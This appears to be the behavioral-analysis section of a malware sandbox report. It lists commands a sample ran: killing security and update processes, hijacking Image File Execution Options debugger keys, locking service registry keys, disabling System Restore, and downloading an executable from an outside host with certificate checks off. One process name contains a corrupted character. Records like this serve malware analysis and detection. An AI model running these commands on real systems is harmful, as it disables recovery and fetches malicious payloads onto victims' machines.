Behavioral Analysis

taskkill.exe taskkill /f /im ipz.exe

taskkill.exe taskkill /f /im ipz2.exe

taskkill.exe taskkill /f /im nvidsrv.exe

taskkill.exe taskkill /f /im safesurf.exe /T

taskkill.exe taskkill /f /im surfguard.exe

reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "UseWUServer" /t REG_DWORD /d "0" /f

reg.exe reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmisrv.exe" /f

reg.exe reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmsdll.exe" /f

reg.exe reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\amsql.exe" /f

reg.exe reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\slscv.exe" /f

reg.exe reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fturl.exe" /f

reg.exe reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wdgmgr.exe" /f

reg.exe reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ams.exe" /f

reg.exe reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Ratings /f

subin.exe subin /subkeyreg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\xStarter /deny=SYSTEM=F

subin.exe subin /subkeyreg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ProgramService /deny=SYSTEM=F

subin.exe subin /subkeyreg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ddns /deny=SYSTEM=F

sc.exe sc stop xStarter

subin.exe subin /subkeyreg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Bios /deny=SYSTEM=F

wmild.exe wmild.exe -c http://openslowmo.com/img/icons/SURFSET.exe --no-check-certificate

reg.exe reg delete HKLM\SOFTWARE\JetSwap /f

reg.exe reg delete HKCU\SOFTWARE\JetSwap /f

net.exe net stop xStarter

reg.exe Reg Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Wasppacer.exe" /v "debugger" /t REG_SZ /d "ctfmon.exe" /f

reg.exe Reg Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\waagent.exe" /v "debugger" /t REG_SZ /d "ctfmon.exe" /f

reg.exe Reg Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wasub.exe" /v "debugger" /t REG_SZ /d "ctfmon.exe" /f

reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d "1" /f

reg.exe reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\sr" /v Start /t REG_DWORD /d "4" /f

taskkill.exe taskkill /f /im wuau𫲮exe /T

taskkill.exe taskkill /f /im wuapp.exe /T

taskkill.exe taskkill /f /im waagent.exe /T

taskkill.exe taskkill /f /im wups.exe /T

taskkill.exe taskkill /f /im wudriver.exe /T

taskkill.exe taskkill /f /im stub.exe

net.exe net stop xStarter

sc.exe sc stop xStarter